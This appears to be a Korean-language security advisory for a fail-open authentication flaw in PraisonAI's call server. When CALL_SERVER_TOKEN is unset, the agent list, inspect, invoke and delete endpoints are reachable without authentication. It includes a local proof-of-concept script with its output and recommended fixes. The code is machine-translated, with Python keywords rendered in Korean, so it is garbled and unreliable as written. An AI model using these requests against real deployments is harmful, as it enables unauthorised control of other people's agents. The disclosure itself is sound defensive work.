PraisonAI 콜 서버는 CALL_SERVER_TOKEN이 설정되지 않은 경우 인증되지 않은 에이전트 목록, 호출 및 삭제를 노출합니다.
PraisonAI의 콜 서버는 CALL_SERVER_TOKEN이 구성되지 않은 경우 인증 없이 네트워크 연결 에이전트 제어 API를 노출합니다.
영향을 받는 구성 요소는 praisonai.api.call에 의해 마운트된 praisonai.api.agent_invoke 라우터입니다. CALL_SERVER_TOKEN이 설정되지 않은 경우 인증 도우미 verify_token()이 열리지 않습니다. 모든 민감한 에이전트 제어 엔드포인트는 이 도우미에 의존하므로 토큰 없이 호출 서버를 시작하면 연결 가능한 모든 클라이언트가 에이전트를 나열하고, 에이전트 메타데이터 및 지침을 검사하고, 에이전트를 호출하고, 에이전트 등록을 취소할 수 있습니다.
번들로 제공되는 콜 서버에는 취약한 라우터가 포함되어 있으며 0.0.0.0에 바인딩되므로 이는 보안과 관련이 있습니다. 결과적으로 CALL_SERVER_TOKEN을 명시적으로 설정하지 않고 호출 서버를 시작하는 운영자는 의도치 않게 인증되지 않은 원격 에이전트 제어 평면을 노출할 수 있습니다.
취약한 동작은 페일오픈(fail-open) 인증 기본값으로 인해 발생합니다.
praisonai/api/agent_invoke.py에서 CALL_SERVER_TOKEN은 환경에서 읽혀집니다.
``파이썬 CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')
그러면 토큰이 구성되지 않은 경우 인증 종속성이 성공적으로 반환됩니다.
``파이썬
async def verify_token(요청: 요청, 승인: 선택사항[str] = 헤더(없음)) -> 없음:
FASTAPI_AVAILABLE이 아니거나 CALL_SERVER_TOKEN이 아닌 경우:
return # FastAPI를 사용할 수 없거나 토큰이 설정되지 않은 경우 인증이 없습니다.
즉, CALL_SERVER_TOKEN이 없으면 인증이 완전히 비활성화됩니다.
다음을 포함하여 민감한 에이전트 제어 경로에서도 동일한 도우미가 사용됩니다.
``파이썬 @router.post("/agents/{agent_id}/invoke") async def inform_agent(..., _: 없음 = 종속(verify_token))
@router.get("/에이전트") async def list_agents(_: 없음 = 종속됨(verify_token))
@router.delete("/agents/{agent_id}") async def unregister_agent_endpoint(agent_id: str, _: 없음 = 종속(verify_token))
@router.get("/agents/{agent_id}") async def get_agent_info(agent_id: str, _: 없음 = 종속(verify_token))
이러한 끝점을 통해 호출자는 다음을 수행할 수 있습니다.
- 등록된 대리인 목록을 작성합니다.
- 에이전트 메타데이터를 검색합니다.
- 에이전트 지침 텍스트를 검색합니다.
- 에이전트를 호출합니다.
- 에이전트 등록을 취소합니다.
취약한 라우터는 콜 서버에 의해 마운트됩니다.
``파이썬
.agent_invoke에서 라우터를 agent_invoke_router로 가져오기
app.include_router(agent_invoke_router)
그런 다음 콜 서버는 모든 인터페이스를 수신합니다.
``파이썬 uvicorn.run(app, 호스트="0.0.0.0", 포트=포트, log_level="경고")
따라서 `CALL_SERVER_TOKEN` 없이 `praisonai-call`이 시작되면 서버에 액세스할 수 있는 모든 클라이언트의 인증 없이 에이전트 제어 API에 도달할 수 있게 됩니다.
### PoC
다음 로컬 PoC는 소스에서 실제 'praisonai.api.agent_invoke' 라우터를 가져오고, 'CALL_SERVER_TOKEN'이 없는지 확인하고, 데모 에이전트를 등록하고, 라우터를 로컬 FastAPI 앱에 마운트하고, 취약한 엔드포인트에 인증되지 않은 요청을 보냅니다.
PoC는 인증 자료를 보내지 않고 다음을 증명합니다.
1. `GET /api/v1/agents`는 등록된 에이전트 목록을 반환합니다.
2. `GET /api/v1/agents/{agent_id}`는 에이전트 메타데이터 및 지침을 노출합니다.
3. `POST /api/v1/agents/{agent_id}/invoke`는 등록된 에이전트를 실행합니다.
4. `DELETE /api/v1/agents/{agent_id}`는 에이전트 등록을 취소합니다.
다음으로 실행:
``배쉬
PRAISONAI_REPO=/path/to/PraisonAI python -B Embedded_poc.py
전체 PoC:
``파이썬 #!/usr/bin/env python3 __future__에서 주석 가져오기
수입 OS 수입 시스템 pathlib import 경로에서 유형 가져오기 SimpleNamespace에서
REPO_ROOT = 경로(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve() PRAISON_ROOT = REPO_ROOT / "src" / "praisonai"
def verify_source() -> 없음: 예상 = { PRAISON_ROOT / "praisonai/api/agent_invoke.py": [ "CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')", "FASTAPI_AVAILABLE이 아니거나 CALL_SERVER_TOKEN이 아닌 경우:", '@router.post("/agents/{agent_id}/invoke")', '@router.get("/에이전트")', '@router.delete("/agents/{agent_id}")', '@router.get("/agents/{agent_id}")', ], PRAISON_ROOT / "praisonai/api/call.py": [ "app.include_router(agent_invoke_router)", 'uvicorn.run(app, 호스트="0.0.0.0", 포트=포트, log_level="경고")', ], }
경로의 경우 예상.items()의 바늘:
path.exists()가 아닌 경우:
RuntimeError(f"소스 확인 실패: 파일을 찾을 수 없음: {경로}")
텍스트 = path.read_text(encoding="utf-8") 바늘 속의 바늘의 경우: 바늘이 텍스트에 없는 경우: RuntimeError(f"소스 확인 실패: {path}에서 {needle!r}을 찾을 수 없음")
클래스 DemoAgent: 이름 = "데모 에이전트" 지침 = "극비 지침" 도구 = [SimpleNamespace(name="danger-tool")]
def 시작(self, 메시지: str) -> str:
f"에코:{메시지}"를 반환합니다.
def main() -> int: verify_source()
os.environ.pop("CALL_SERVER_TOKEN", 없음)
sys.path.insert(0, str(PRAISON_ROOT))
fastapi에서 FastAPI 가져오기
fastapi.testclient에서 TestClient 가져오기
praisonai.api.agent_invoke에서 CALL_SERVER_TOKEN, Register_agent, 라우터 가져오기
앱 = FastAPI()
app.include_router(라우터)
Register_agent("데모", DemoAgent())
클라이언트 = TestClient(앱)
list_resp = client.get("/api/v1/agents")
info_resp = client.get("/api/v1/agents/demo")
Invoke_resp = client.post("/api/v1/agents/demo/invoke", json={"message": "hello"})
delete_resp = client.delete("/api/v1/agents/demo")
print(f"[poc] token_configured={bool(CALL_SERVER_TOKEN)}")
print(f"[poc] list_status={list_resp.status_code} body={list_resp.json()}")
print(f"[poc] info_status={info_resp.status_code} body={info_resp.json()}")
print(f"[poc] Invoke_status={invoke_resp.status_code} body={invoke_resp.json()}")
print(f"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}")
CALL_SERVER_TOKEN인 경우:
raise SystemExit("[poc] MISS: CALL_SERVER_TOKEN이 테스트 프로세스에서 예기치 않게 설정되었습니다.")
list_resp.status_code != 200이거나 list_resp.json().get("agents", [])에 "demo"가 없는 경우:
raise SystemExit("[poc] MISS: 인증되지 않은 에이전트 나열에 실패했습니다.")
info_resp.status_code != 200 또는 info_resp.json().get("instructions") != "극비 지침"인 경우:
raise SystemExit("[poc] MISS: 인증되지 않은 에이전트 정보 유출에 실패했습니다.")
Invoke_resp.status_code != 200 또는 Invoke_resp.json().get("result") != "echo:hello"인 경우:
raise SystemExit("[poc] MISS: 인증되지 않은 에이전트 호출에 실패했습니다.")
delete_resp.status_code != 200인 경우:
raise SystemExit("[poc] MISS: 인증되지 않은 에이전트 등록 취소에 실패했습니다.")
print("[poc] HIT: 데모 에이전트 목록, 검사, 호출 및 등록 취소된 인증되지 않은 호출자")
0을 반환
name == "main"인 경우: SystemExit(main()) 올리기
관찰 결과:
``텍스트
[poc] token_configured=False
[poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'}
[poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': '극비 지침', 'tools': ['danger-tool']}
[poc] inform_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}}
[poc] delete_status=200 body={'message': "에이전트 'demo'가 성공적으로 등록 취소되었습니다.", 'status': 'success'}
[poc] HIT: 인증되지 않은 발신자가 데모 에이전트를 나열, 검사, 호출 및 등록 취소했습니다.
이는 CALL_SERVER_TOKEN이 설정되지 않은 경우 인증 없이 에이전트 제어 엔드포인트에 액세스할 수 있음을 확인합니다.
운영자가 'CALL_SERVER_TOKEN'을 명시적으로 설정하지 않고 PraisonAI 콜 서버를 실행하는 경우 연결 가능한 모든 클라이언트는 다음을 수행할 수 있습니다.
영향은 배포된 에이전트와 연결된 도구에 따라 달라집니다. 외부 API, 내부 시스템, 로컬 도구 또는 권한 있는 작업에 연결된 에이전트의 경우 인증되지 않은 원격 제어 표면이 생성됩니다.
문제는 정보 공개에만 국한되지 않습니다. 인증되지 않은 'invoke' 엔드포인트는 에이전트 실행을 트리거할 수 있으며, 인증되지 않은 'delete' 엔드포인트는 등록된 에이전트를 제거할 수 있습니다.
권장 수정 사항:
CALL_SERVER_TOKEN이 설정되지 않은 경우 실패 처리됩니다.
인증이 명시적으로 구성되고 유효한 토큰이 제공되지 않는 한 인증 종속성은 요청을 거부해야 합니다.
인증이 구성되지 않은 경우 에이전트 호출 라우터 마운트를 거부합니다.
인증되지 않은 모드가 로컬 개발용인 경우 CALL_SERVER_TOKEN이 없을 때 기본적으로 127.0.0.1에 바인딩합니다.
인증 없이 콜 서버가 시작될 때 시작 오류 또는 눈에 잘 띄는 경고를 추가합니다.
유효한 토큰이 제공되지 않은 경우 모든 민감한 에이전트 경로에 대해 '401 Unauthorized'를 확인하는 회귀 테스트를 추가합니다.
서버가 인증 없이 시작되도록 허용하기 전에 '--allow-unauthenticated-call-server'와 같은 명시적인 안전하지 않은 플래그를 요구하는 것을 고려하세요.
이 보고서는 네트워크 연결 서버 구성 요소의 기본 인증 동작에 관한 것입니다. 문제는 사용자가 신뢰할 수 있는 로컬 개발에 대한 인증을 의도적으로 비활성화할 수 있다는 것이 아닙니다. 문제는 번들 서버가 에이전트 제어 API를 원격으로 노출할 수 있는 '0.0.0.0'에 바인딩되는 동안 'CALL_SERVER_TOKEN'이 누락되면 서버가 열리지 않는다는 것입니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 98.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 98.00 |
VPI 공식 vpi-v1 기준